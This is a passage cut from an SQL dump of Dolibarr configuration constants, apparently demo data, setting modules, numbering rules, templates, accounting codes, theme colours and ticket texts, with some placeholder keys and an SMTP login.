20:33:09'),(4757,'MAIN_MODULE_POS',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4758,'TICKET_ADDON',2,'mod_ticket_avenc','chaine',0,'Nom du gestionnaire de numerotation des tickets','2015-03-13 20:33:09'),(4759,'MAIN_MODULE_BANQUE',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4760,'MAIN_MODULE_FACTURE',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4761,'FACTURE_ADDON_PDF',2,'crabe','chaine',0,'Name of PDF model of invoice','2015-03-13 20:33:09'),(4762,'FACTURE_ADDON',2,'mod_facture_terre','chaine',0,'Name of numbering numerotation rules of invoice','2015-03-13 20:33:09'),(4763,'FACTURE_ADDON_PDF_ODT_PATH',2,'DOL_DATA_ROOT/doctemplates/invoices','chaine',0,NULL,'2015-03-13 20:33:09'),(4764,'MAIN_MODULE_SOCIETE',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4765,'MAIN_MODULE_PRODUCT',2,'1',NULL,0,NULL,'2015-03-13 20:33:09'),(4766,'PRODUCT_CODEPRODUCT_ADDON',2,'mod_codeproduct_leopard','chaine',0,'Module to control product codes','2015-03-13 20:33:09'),(4767,'MAIN_SEARCHFORM_PRODUITSERVICE',2,'1','yesno',0,'Show form for quick product search','2015-03-13 20:33:09'),(4772,'FACSIM_ADDON',2,'mod_facsim_alcoy','chaine',0,'','2015-03-13 20:33:32'),(4773,'MAIN_MODULE_MAILING',2,'1',NULL,0,NULL,'2015-03-13 20:33:37'),(4774,'MAIN_MODULE_OPENSURVEY',2,'1',NULL,0,NULL,'2015-03-13 20:33:42'),(4782,'AGENDA_USE_EVENT_TYPE',2,'1','chaine',0,'','2015-03-13 20:53:36'),(4884,'AGENDA_DISABLE_EXT',2,'1','chaine',0,'','2015-03-13 22:03:40'),(4928,'COMMANDE_SUPPLIER_ADDON_NUMBER',1,'mod_commande_fournisseur_muguet','chaine',0,'Nom du gestionnaire de numerotation des commandes fournisseur','2015-03-22 09:24:29'),(4929,'INVOICE_SUPPLIER_ADDON_NUMBER',1,'mod_facture_fournisseur_cactus','chaine',0,'Nom du gestionnaire de numerotation des factures fournisseur','2015-03-22 09:24:29'),(5001,'MAIN_CRON_KEY',0,'bc54582fe30d5d4a830c6f582ec28810','chaine',0,'','2015-03-23 17:54:53'),(5009,'CRON_KEY',0,'2c2e755c20be2014098f629865598006','chaine',0,'','2015-03-23 18:06:24'),(5139,'SOCIETE_ADD_REF_IN_LIST',1,'','yesno',0,'Display customer ref into select list','2015-09-08 23:06:08'),(5150,'PROJECT_TASK_ADDON_PDF',1,'','chaine',0,'Name of PDF/ODT tasks manager class','2015-09-08 23:06:14'),(5151,'PROJECT_TASK_ADDON',1,'mod_task_simple','chaine',0,'Name of Numbering Rule task manager class','2015-09-08 23:06:14'),(5152,'PROJECT_TASK_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/tasks','chaine',0,'','2015-09-08 23:06:14'),(5239,'BOOKMARKS_SHOW_IN_MENU',1,'10','chaine',0,'','2016-03-02 15:42:26'),(5271,'DONATION_ART200',1,'','yesno',0,'Option Française - Eligibilité Art200 du CGI','2016-12-21 12:51:28'),(5272,'DONATION_ART238',1,'','yesno',0,'Option Française - Eligibilité Art238 bis du CGI','2016-12-21 12:51:28'),(5274,'DONATION_MESSAGE',1,'Thank you','chaine',0,'Message affiché sur le récépissé de versements ou dons','2016-12-21 12:51:28'),(5349,'MAIN_SEARCHFORM_CONTACT',1,'1','chaine',0,'','2017-10-03 10:11:33'),(5351,'MAIN_SEARCHFORM_PRODUITSERVICE',1,'1','chaine',0,'','2017-10-03 10:11:33'),(5352,'MAIN_SEARCHFORM_PRODUITSERVICE_SUPPLIER',1,'0','chaine',0,'','2017-10-03 10:11:33'),(5353,'MAIN_SEARCHFORM_ADHERENT',1,'1','chaine',0,'','2017-10-03 10:11:33'),(5354,'MAIN_SEARCHFORM_PROJECT',1,'0','chaine',0,'','2017-10-03 10:11:33'),(5394,'FCKEDITOR_ENABLE_DETAILS',1,'1','yesno',0,'WYSIWIG for products details lines for all entities','2017-11-04 15:27:44'),(5395,'FCKEDITOR_ENABLE_USERSIGN',1,'1','yesno',0,'WYSIWIG for user signature','2017-11-04 15:27:44'),(5396,'FCKEDITOR_ENABLE_MAIL',1,'1','yesno',0,'WYSIWIG for products details lines for all entities','2017-11-04 15:27:44'),(5398,'CATEGORIE_RECURSIV_ADD',1,'','yesno',0,'Affect parent categories','2017-11-04 15:27:46'),(5404,'MAIN_MODULE_CATEGORIE',1,'1',NULL,0,NULL,'2017-11-04 15:41:43'),(5415,'EXPEDITION_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/shipment','chaine',0,NULL,'2017-11-15 22:38:28'),(5416,'LIVRAISON_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/delivery','chaine',0,NULL,'2017-11-15 22:38:28'),(5426,'MAIN_MODULE_PROJET',1,'1',NULL,0,NULL,'2017-11-15 22:38:44'),(5427,'PROJECT_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/projects','chaine',0,NULL,'2017-11-15 22:38:44'),(5428,'PROJECT_USE_OPPORTUNIES',1,'1','chaine',0,NULL,'2017-11-15 22:38:44'),(5430,'MAIN_MODULE_EXPORT',1,'1',NULL,0,NULL,'2017-11-15 22:38:56'),(5431,'MAIN_MODULE_IMPORT',1,'1',NULL,0,NULL,'2017-11-15 22:38:58'),(5432,'MAIN_MODULE_MAILING',1,'1',NULL,0,NULL,'2017-11-15 22:39:00'),(5434,'EXPENSEREPORT_ADDON_PDF',1,'standard','chaine',0,'Name of manager to build PDF expense reports documents','2017-11-15 22:39:05'),(5437,'SALARIES_ACCOUNTING_ACCOUNT_CHARGE',1,'641','chaine',0,NULL,'2017-11-15 22:39:08'),(5441,'ADHERENT_ETIQUETTE_TEXT',1,'%FULLNAME%\n%ADDRESS%\n%ZIP% %TOWN%\n%COUNTRY%','text',0,'Text to print on member address sheets','2018-11-23 11:56:07'),(5443,'MAIN_MODULE_PRELEVEMENT',1,'1',NULL,0,NULL,'2017-11-15 22:39:33'),(5453,'MAIN_MODULE_CONTRAT',1,'1',NULL,0,NULL,'2017-11-15 22:39:52'),(5455,'MAIN_MODULE_FICHEINTER',1,'1',NULL,0,NULL,'2017-11-15 22:39:56'),(5459,'MAIN_MODULE_PAYPAL',1,'1',NULL,0,NULL,'2017-11-15 22:41:02'),(5463,'MAIN_MODULE_PROPALE',1,'1',NULL,0,NULL,'2017-11-15 22:41:47'),(5483,'GENBARCODE_BARCODETYPE_THIRDPARTY',1,'6','chaine',0,'','2018-01-16 15:49:43'),(5484,'PRODUIT_DEFAULT_BARCODE_TYPE',1,'2','chaine',0,'','2018-01-16 15:49:46'),(5586,'MAIN_DELAY_EXPENSEREPORTS_TO_PAY',1,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur les notes de frais impayées','2018-01-22 17:28:18'),(5587,'MAIN_FIX_FOR_BUGGED_MTA',1,'1','chaine',1,'Set constant to fix email ending from PHP with some linux ike system','2018-01-22 17:28:18'),(5590,'MAIN_VERSION_LAST_INSTALL',0,'3.8.3','chaine',0,'Dolibarr version when install','2018-01-22 17:28:42'),(5604,'MAIN_INFO_SOCIETE_LOGO',1,'mybigcompany.png','chaine',0,'','2018-01-22 17:33:49'),(5605,'MAIN_INFO_SOCIETE_LOGO_SMALL',1,'mybigcompany_small.png','chaine',0,'','2018-01-22 17:33:49'),(5606,'MAIN_INFO_SOCIETE_LOGO_MINI',1,'mybigcompany_mini.png','chaine',0,'','2018-01-22 17:33:49'),(5614,'MAIN_SIZE_SHORTLISTE_LIMIT',1,'4','chaine',0,'Longueur maximum des listes courtes (fiche client)','2018-03-13 10:54:46'),(5627,'SUPPLIER_PROPOSAL_ADDON_PDF',1,'aurore','chaine',0,'Name of submodule to generate PDF for supplier quotation request','2018-07-30 11:13:20'),(5628,'SUPPLIER_PROPOSAL_ADDON',1,'mod_supplier_proposal_marbre','chaine',0,'Name of submodule to number supplier quotation request','2018-07-30 11:13:20'),(5629,'SUPPLIER_PROPOSAL_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/supplier_proposal','chaine',0,NULL,'2018-07-30 11:13:20'),(5633,'MAIN_MODULE_API',1,'1',NULL,0,NULL,'2018-07-30 11:13:54'),(5634,'MAIN_MODULE_WEBSERVICES',1,'1',NULL,0,NULL,'2018-07-30 11:13:56'),(5635,'WEBSERVICES_KEY',1,'dolibarrkey','chaine',0,'','2018-07-30 11:14:04'),(5638,'MAIN_MODULE_EXTERNALRSS',1,'1',NULL,0,NULL,'2018-07-30 11:15:04'),(5642,'SOCIETE_CODECOMPTA_ADDON',1,'mod_codecompta_aquarium','chaine',0,'','2018-07-30 11:16:42'),(5707,'CASHDESK_NO_DECREASE_STOCK',1,'1','chaine',0,'','2018-07-30 13:38:11'),(5708,'MAIN_MODULE_PRODUCTBATCH',1,'1',NULL,0,NULL,'2018-07-30 13:38:11'),(5710,'MAIN_MODULE_STOCK',1,'1',NULL,0,NULL,'2018-07-30 13:38:11'),(5711,'MAIN_MODULE_PRODUCT',1,'1',NULL,0,NULL,'2018-07-30 13:38:11'),(5808,'MARGIN_TYPE',1,'costprice','chaine',0,'','2018-07-30 16:32:18'),(5809,'DISPLAY_MARGIN_RATES',1,'1','chaine',0,'','2018-07-30 16:32:20'),(5833,'ACCOUNTING_EXPORT_SEPARATORCSV',1,',','string',0,NULL,'2017-01-29 15:11:56'),(5840,'CHARTOFACCOUNTS',1,'2','chaine',0,NULL,'2017-01-29 15:11:56'),(5841,'ACCOUNTING_EXPORT_MODELCSV',1,'1','chaine',0,NULL,'2017-01-29 15:11:56'),(5842,'ACCOUNTING_LENGTH_GACCOUNT',1,'','chaine',0,NULL,'2017-01-29 15:11:56'),(5843,'ACCOUNTING_LENGTH_AACCOUNT',1,'','chaine',0,NULL,'2017-01-29 15:11:56'),(5844,'ACCOUNTING_LIST_SORT_VENTILATION_TODO',1,'1','yesno',0,NULL,'2017-01-29 15:11:56'),(5845,'ACCOUNTING_LIST_SORT_VENTILATION_DONE',1,'1','yesno',0,NULL,'2017-01-29 15:11:56'),(5846,'ACCOUNTING_EXPORT_DATE',1,'%d%m%Y','chaine',0,NULL,'2017-01-29 15:11:56'),(5848,'ACCOUNTING_EXPORT_FORMAT',1,'csv','chaine',0,NULL,'2017-01-29 15:11:56'),(5853,'MAIN_MODULE_WORKFLOW',1,'1',NULL,0,NULL,'2017-01-29 15:12:12'),(5854,'MAIN_MODULE_NOTIFICATION',1,'1',NULL,0,NULL,'2017-01-29 15:12:35'),(5855,'MAIN_MODULE_OAUTH',1,'1',NULL,0,NULL,'2017-01-29 15:12:41'),(5883,'MAILING_LIMIT_SENDBYWEB',0,'15','chaine',1,'Number of targets to defined packet size when sending mass email','2017-01-29 17:36:33'),(5884,'MAIN_MAIL_DEBUG',1,'0','chaine',1,'','2017-01-29 18:53:02'),(5885,'MAIN_SOAP_DEBUG',1,'0','chaine',1,'','2017-01-29 18:53:02'),(5925,'MAIN_AGENDA_ACTIONAUTO_MEMBER_SUBSCRIPTION',1,'1','chaine',0,'','2017-02-01 14:48:55'),(5931,'DATABASE_PWD_ENCRYPTED',1,'1','chaine',0,'','2017-02-01 15:06:04'),(5932,'MAIN_DISABLE_ALL_MAILS',1,'0','chaine',0,'','2017-02-01 15:09:09'),(5933,'MAIN_MAIL_SENDMODE',1,'mail','chaine',0,'','2017-02-01 15:09:09'),(5934,'MAIN_MAIL_SMTP_PORT',1,'465','chaine',0,'','2017-02-01 15:09:09'),(5935,'MAIN_MAIL_SMTP_SERVER',1,'smtp.mail.com','chaine',0,'','2017-02-01 15:09:09'),(5936,'MAIN_MAIL_SMTPS_ID',1,'eldy10@mail.com','chaine',0,'','2017-02-01 15:09:09'),(5937,'MAIN_MAIL_SMTPS_PW',1,'bidonge','chaine',0,'','2017-02-01 15:09:09'),(5938,'MAIN_MAIL_EMAIL_FROM',1,'robot@example.com','chaine',0,'','2017-02-01 15:09:09'),(5939,'MAIN_MAIL_DEFAULT_FROMTYPE',1,'user','chaine',0,'','2017-02-01 15:09:09'),(5940,'PRELEVEMENT_ID_BANKACCOUNT',1,'1','chaine',0,'','2017-02-06 04:04:47'),(5941,'PRELEVEMENT_ICS',1,'ICS123456','chaine',0,'','2017-02-06 04:04:47'),(5942,'PRELEVEMENT_USER',1,'1','chaine',0,'','2017-02-06 04:04:47'),(5943,'BANKADDON_PDF',1,'sepamandate','chaine',0,'','2017-02-06 04:13:52'),(5947,'CHEQUERECEIPTS_THYME_MASK',1,'CHK{yy}{mm}-{0000@1}','chaine',0,'','2017-02-06 04:16:27'),(5948,'MAIN_MODULE_LOAN',1,'1',NULL,0,NULL,'2017-02-06 19:19:05'),(5954,'MAIN_SUBMODULE_EXPEDITION',1,'1','chaine',0,'','2017-02-06 23:57:37'),(5964,'MAIN_MODULE_TAX',1,'1',NULL,0,NULL,'2017-02-07 18:56:12'),(6019,'MAIN_INFO_SOCIETE_COUNTRY',2,'1:FR:France','chaine',0,'','2017-02-15 17:18:22'),(6020,'MAIN_INFO_SOCIETE_NOM',2,'MySecondCompany','chaine',0,'','2017-02-15 17:18:22'),(6021,'MAIN_INFO_SOCIETE_STATE',2,'0','chaine',0,'','2017-02-15 17:18:22'),(6022,'MAIN_MONNAIE',2,'EUR','chaine',0,'','2017-02-15 17:18:22'),(6023,'MAIN_LANG_DEFAULT',2,'auto','chaine',0,'','2017-02-15 17:18:22'),(6032,'MAIN_MODULE_MULTICURRENCY',1,'1',NULL,0,NULL,'2017-02-15 17:29:59'),(6048,'SYSLOG_FACILITY',0,'LOG_USER','chaine',0,'','2017-02-15 22:37:01'),(6049,'SYSLOG_FIREPHP_INCLUDEPATH',0,'/home/ldestailleur/git/dolibarr_5.0/htdocs/includes/firephp/firephp-core/lib/','chaine',0,'','2017-02-15 22:37:01'),(6050,'SYSLOG_FILE',0,'DOL_DATA_ROOT/dolibarr.log','chaine',0,'','2017-02-15 22:37:01'),(6051,'SYSLOG_CHROMEPHP_INCLUDEPATH',0,'/home/ldestailleur/git/dolibarr_5.0/htdocs/includes/ccampbell/chromephp/','chaine',0,'','2017-02-15 22:37:01'),(6052,'SYSLOG_HANDLERS',0,'[\"mod_syslog_file\"]','chaine',0,'','2017-02-15 22:37:01'),(6092,'MAIN_SIZE_SHORTLIST_LIMIT',0,'3','chaine',0,'Max length for small lists (tabs)','2017-05-12 09:02:38'),(6099,'MAIN_MODULE_SKYPE',1,'1',NULL,0,NULL,'2017-05-12 09:03:51'),(6100,'MAIN_MODULE_GRAVATAR',1,'1',NULL,0,NULL,'2017-05-12 09:03:54'),(6102,'PRODUCT_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/products','chaine',0,'','2017-08-27 13:29:07'),(6103,'CONTRACT_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/contracts','chaine',0,'','2017-08-27 13:29:07'),(6104,'USERGROUP_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/usergroups','chaine',0,'','2017-08-27 13:29:07'),(6105,'USER_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/users','chaine',0,'','2017-08-27 13:29:07'),(6106,'MAIN_ENABLE_OVERWRITE_TRANSLATION',1,'1','chaine',0,'Enable overwrote of translation','2017-08-27 13:29:07'),(6377,'COMMANDE_SAPHIR_MASK',1,'{yy}{mm}{000}{ttt}','chaine',0,'','2017-09-06 07:56:25'),(6518,'GOOGLE_DUPLICATE_INTO_THIRDPARTIES',1,'1','chaine',0,'','2017-09-06 19:43:57'),(6519,'GOOGLE_DUPLICATE_INTO_CONTACTS',1,'0','chaine',0,'','2017-09-06 19:43:57'),(6520,'GOOGLE_TAG_PREFIX',1,'Dolibarr (Thirdparties)','chaine',0,'','2017-09-06 19:43:57'),(6521,'GOOGLE_TAG_PREFIX_CONTACTS',1,'Dolibarr (Contacts/Addresses)','chaine',0,'','2017-09-06 19:43:57'),(6522,'GOOGLE_ENABLE_AGENDA',1,'1','chaine',0,'','2017-09-06 19:44:12'),(6523,'GOOGLE_AGENDA_COLOR1',1,'1B887A','chaine',0,'','2017-09-06 19:44:12'),(6524,'GOOGLE_AGENDA_COLOR2',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6525,'GOOGLE_AGENDA_COLOR3',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6526,'GOOGLE_AGENDA_COLOR4',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6527,'GOOGLE_AGENDA_COLOR5',1,'7A367A','chaine',0,'','2017-09-06 19:44:12'),(6528,'GOOGLE_AGENDA_TIMEZONE',1,'Europe/Paris','chaine',0,'','2017-09-06 19:44:12'),(6529,'GOOGLE_AGENDA_NB',1,'5','chaine',0,'','2017-09-06 19:44:12'),(6543,'MAIN_SMS_DEBUG',0,'1','chaine',1,'This is to enable OVH SMS debug','2017-09-06 19:44:34'),(6562,'BLOCKEDLOG_ENTITY_FINGERPRINT',1,'b63e359ffca54d5c2bab869916eaf23d4a736703028ccbf77ce1167c5f830e7b','chaine',0,'Numeric Unique Fingerprint','2018-01-19 11:27:15'),(6564,'BLOCKEDLOG_DISABLE_NOT_ALLOWED_FOR_COUNTRY',1,'FR','chaine',0,'This is list of country code where the module may be mandatory','2018-01-19 11:27:15'),(6565,'MAIN_MODULE_BOOKMARK',1,'1',NULL,0,'{\"authorid\":\"12\",\"ip\":\"82.240.38.230\"}','2018-01-19 11:27:34'),(6566,'MAIN_MODULE_ADHERENT',1,'1',NULL,0,'{\"authorid\":\"12\",\"ip\":\"82.240.38.230\"}','2018-01-19 11:27:56'),(6567,'ADHERENT_ADDON_PDF',1,'standard','chaine',0,'Name of PDF model of member','2018-01-19 11:27:56'),(6636,'MAIN_MODULE_TICKET_MODELS',1,'1','chaine',0,NULL,'2019-06-05 09:15:29'),(6647,'MAIN_MODULE_SOCIALNETWORKS',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2019-06-05 09:16:49'),(6795,'TICKET_ADDON',1,'mod_ticket_simple','chaine',0,'','2019-09-26 12:07:59'),(6796,'PRODUCT_CODEPRODUCT_ADDON',1,'mod_codeproduct_elephant','chaine',0,'','2019-09-26 12:59:00'),(6800,'CASHDESK_ID_THIRDPARTY1',1,'7','chaine',0,'','2019-09-26 15:30:09'),(6801,'CASHDESK_ID_BANKACCOUNT_CASH1',1,'3','chaine',0,'','2019-09-26 15:30:09'),(6802,'CASHDESK_ID_BANKACCOUNT_CHEQUE1',1,'4','chaine',0,'','2019-09-26 15:30:09'),(6803,'CASHDESK_ID_BANKACCOUNT_CB1',1,'4','chaine',0,'','2019-09-26 15:30:09'),(6804,'CASHDESK_ID_BANKACCOUNT_PRE1',1,'4','chaine',0,'','2019-09-26 15:30:09'),(6805,'CASHDESK_ID_BANKACCOUNT_VIR1',1,'1','chaine',0,'','2019-09-26 15:30:09'),(6806,'CASHDESK_NO_DECREASE_STOCK1',1,'1','chaine',0,'','2019-09-26 15:30:09'),(6811,'FORCEPROJECT_ON_PROPOSAL',1,'1','chaine',0,'','2019-09-27 14:52:57'),(6813,'PROJECT_USE_OPPORTUNITIES',1,'1','chaine',0,'','2019-10-01 11:48:09'),(6814,'PACKTHEMEACTIVATEDTHEME',0,'modOwnTheme','chaine',0,'','2019-10-02 11:41:58'),(6815,'OWNTHEME_COL1',0,'#6a89cc','chaine',0,'','2019-10-02 11:41:58'),(6816,'OWNTHEME_COL2',0,'#60a3bc','chaine',0,'','2019-10-02 11:41:58'),(6817,'DOL_VERSION',0,'10.0.2','chaine',0,'Dolibarr version','2019-10-02 11:41:58'),(6823,'OWNTHEME_COL_BODY_BCKGRD',0,'#E9E9E9','chaine',0,'','2019-10-02 11:41:58'),(6824,'OWNTHEME_COL_LOGO_BCKGRD',0,'#474c80','chaine',0,'','2019-10-02 11:41:58'),(6825,'OWNTHEME_COL_TXT_MENU',0,'#b8c6e5','chaine',0,'','2019-10-02 11:41:58'),(6826,'OWNTHEME_COL_HEADER_BCKGRD',0,'#474c80','chaine',0,'','2019-10-02 11:41:58'),(6827,'OWNTHEME_CUSTOM_CSS',0,'0','yesno',0,'','2019-10-02 11:41:58'),(6828,'OWNTHEME_CUSTOM_JS',0,'0','yesno',0,'','2019-10-02 11:41:58'),(6829,'OWNTHEME_FIXED_MENU',0,'0','yesno',0,'','2019-10-02 11:41:58'),(6830,'OWNTHEME_D_HEADER_FONT_SIZE',0,'1.7rem','chaine',0,'','2019-10-02 11:41:58'),(6831,'OWNTHEME_S_HEADER_FONT_SIZE',0,'1.6rem','chaine',0,'','2019-10-02 11:41:58'),(6832,'OWNTHEME_D_VMENU_FONT_SIZE',0,'1.2rem','chaine',0,'','2019-10-02 11:41:58'),(6833,'OWNTHEME_S_VMENU_FONT_SIZE',0,'1.2rem','chaine',0,'','2019-10-02 11:41:58'),(6844,'MAIN_THEME',0,'eldy','chaine',0,'','2019-10-02 11:46:02'),(6845,'MAIN_MENU_STANDARD',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6846,'MAIN_MENUFRONT_STANDARD',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6847,'MAIN_MENU_SMARTPHONE',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6848,'MAIN_MENUFRONT_SMARTPHONE',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6851,'BECREATIVE_COL1',1,'#1e88e5','chaine',0,'','2019-10-02 11:47:10'),(6852,'BECREATIVE_COL2',1,'#1e88e5','chaine',0,'','2019-10-02 11:47:10'),(6853,'DOL_VERSION',1,'10.0.2','chaine',0,'Dolibarr version','2019-10-02 11:47:10'),(6859,'BECREATIVE_COL_BODY_BCKGRD',1,'#e6eaef','chaine',0,'','2019-10-02 11:47:10'),(6860,'BECREATIVE_COL_LOGO_BCKGRD',1,'#1e88e5','chaine',0,'','2019-10-02 11:47:10'),(6861,'BECREATIVE_COL_TXT_MENU',1,'#b8c6e5','chaine',0,'','2019-10-02 11:47:10'),(6862,'BECREATIVE_COL_HEADER_BCKGRD',1,'#26a69a','chaine',0,'','2019-10-02 11:47:10'),(6863,'BECREATIVE_CUSTOM_CSS',1,'0','yesno',0,'','2019-10-02 11:47:10'),(6864,'BECREATIVE_CUSTOM_JS',1,'0','yesno',0,'','2019-10-02 11:47:10'),(6865,'BECREATIVE_FIXED_MENU',1,'0','yesno',0,'','2019-10-02 11:47:10'),(6866,'BECREATIVE_D_HEADER_FONT_SIZE',1,'1.7rem','chaine',0,'','2019-10-02 11:47:10'),(6867,'BECREATIVE_S_HEADER_FONT_SIZE',1,'1.6rem','chaine',0,'','2019-10-02 11:47:10'),(6868,'BECREATIVE_D_VMENU_FONT_SIZE',1,'1.2rem','chaine',0,'','2019-10-02 11:47:10'),(6869,'BECREATIVE_S_VMENU_FONT_SIZE',1,'1.2rem','chaine',0,'','2019-10-02 11:47:10'),(6881,'MAIN_MENU_STANDARD',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6882,'MAIN_MENUFRONT_STANDARD',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6883,'MAIN_MENU_SMARTPHONE',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6884,'MAIN_MENUFRONT_SMARTPHONE',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6885,'ACCOUNTING_ACCOUNT_CUSTOMER',1,'411','chaine',0,'','2019-10-04 08:15:44'),(6886,'ACCOUNTING_ACCOUNT_SUPPLIER',1,'401','chaine',0,'','2019-10-04 08:15:44'),(6887,'SALARIES_ACCOUNTING_ACCOUNT_PAYMENT',1,'421','chaine',0,'','2019-10-04 08:15:44'),(6888,'ACCOUNTING_PRODUCT_BUY_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6889,'ACCOUNTING_PRODUCT_SOLD_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6890,'ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6891,'ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6892,'ACCOUNTING_SERVICE_BUY_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6893,'ACCOUNTING_SERVICE_SOLD_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6894,'ACCOUNTING_VAT_BUY_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6895,'ACCOUNTING_VAT_SOLD_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6896,'ACCOUNTING_VAT_PAY_ACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6897,'ACCOUNTING_ACCOUNT_SUSPENSE',1,'471','chaine',0,'','2019-10-04 08:15:44'),(6898,'ACCOUNTING_ACCOUNT_TRANSFER_CASH',1,'58','chaine',0,'','2019-10-04 08:15:44'),(6899,'DONATION_ACCOUNTINGACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6900,'ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6901,'LOAN_ACCOUNTING_ACCOUNT_CAPITAL',1,'164','chaine',0,'','2019-10-04 08:15:44'),(6902,'LOAN_ACCOUNTING_ACCOUNT_INTEREST',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6903,'LOAN_ACCOUNTING_ACCOUNT_INSURANCE',1,'-1','chaine',0,'','2019-10-04 08:15:44'),(6912,'TICKET_ENABLE_PUBLIC_INTERFACE',1,'1','chaine',0,'','2019-10-04 11:44:33'),(6934,'TICKET_NOTIFICATION_EMAIL_FROM',1,'fff','chaine',0,'','2019-10-04 12:03:51'),(6935,'TICKET_NOTIFICATION_EMAIL_TO',1,'ff','chaine',0,'','2019-10-04 12:03:51'),(6936,'TICKET_MESSAGE_MAIL_INTRO',1,'Hello,
\r\nA new response was sent on a ticket that you contact. Here is the message:\"\"','chaine',0,'','2019-10-04 12:03:51'),(6937,'TICKET_MESSAGE_MAIL_SIGNATURE',1,'

Sincerely,

\r\n\r\n

--\"\"

\r\n','chaine',0,'','2019-10-04 12:03:51'),(7027,'USER_PASSWORD_GENERATED',1,'Perso','chaine',0,'','2019-10-07 10:52:46'),(7028,'USER_PASSWORD_PATTERN',1,'12;1;0;1;0;1','chaine',0,'','2019-10-07 10:57:03'),(7034,'BOM_ADDON',1,'mod_bom_standard','chaine',0,'Name of numbering rules of BOM','2019-10-08 18:49:41'),(7035,'BOM_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/boms','chaine',0,NULL,'2019-10-08 18:49:41'),(7036,'MAIN_MODULE_GEOIPMAXMIND',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2019-10-08 18:51:54'),(7037,'MAIN_MODULE_DAV',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2019-10-08 18:54:07'),(7122,'BOM_ADDON_PDF',1,'generic_bom_odt','chaine',0,'','2019-11-28 14:00:58'),(7195,'MAIN_AGENDA_ACTIONAUTO_MO_VALIDATE',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7196,'MAIN_AGENDA_ACTIONAUTO_MO_PRODUCED',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7197,'MAIN_AGENDA_ACTIONAUTO_MO_DELETE',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7198,'MAIN_AGENDA_ACTIONAUTO_MO_CANCEL',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7201,'TICKET_PUBLIC_INTERFACE_TOPIC',1,'MyBigCompany public interface for Ticket','chaine',0,'','2019-11-29 08:49:36'),(7202,'TICKET_PUBLIC_TEXT_HOME',1,'You can create a support ticket or view existing from its identifier tracking ticket.','chaine',0,'','2019-11-29 08:49:36'),(7203,'TICKET_PUBLIC_TEXT_HELP_MESSAGE',1,'Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request.','chaine',0,'','2019-11-29 08:49:36'),(7204,'TICKET_MESSAGE_MAIL_NEW',1,'TicketMessageMailNewText','chaine',0,'','2019-11-29 08:49:36'),(7220,'MRP_MO_ADDON',1,'mod_mo_standard','chaine',0,'Name of numbering rules of MO','2019-11-29 08:57:42'),(7221,'MRP_MO_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/mrps','chaine',0,NULL,'2019-11-29 08:57:42'),(7222,'MRP_MO_ADDON_PDF',1,'generic_mo_odt','chaine',0,'','2019-11-29 08:57:47'),(7254,'MAIN_INFO_OPENINGHOURS_MONDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7255,'MAIN_INFO_OPENINGHOURS_TUESDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7256,'MAIN_INFO_OPENINGHOURS_WEDNESDAY',1,'8-13','chaine',0,'','2019-12-19 11:14:21'),(7257,'MAIN_INFO_OPENINGHOURS_THURSDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7258,'MAIN_INFO_OPENINGHOURS_FRIDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7264,'MAIN_INFO_ACCOUNTANT_NAME',1,'Bob Bookkeeper','chaine',0,'','2019-12-19 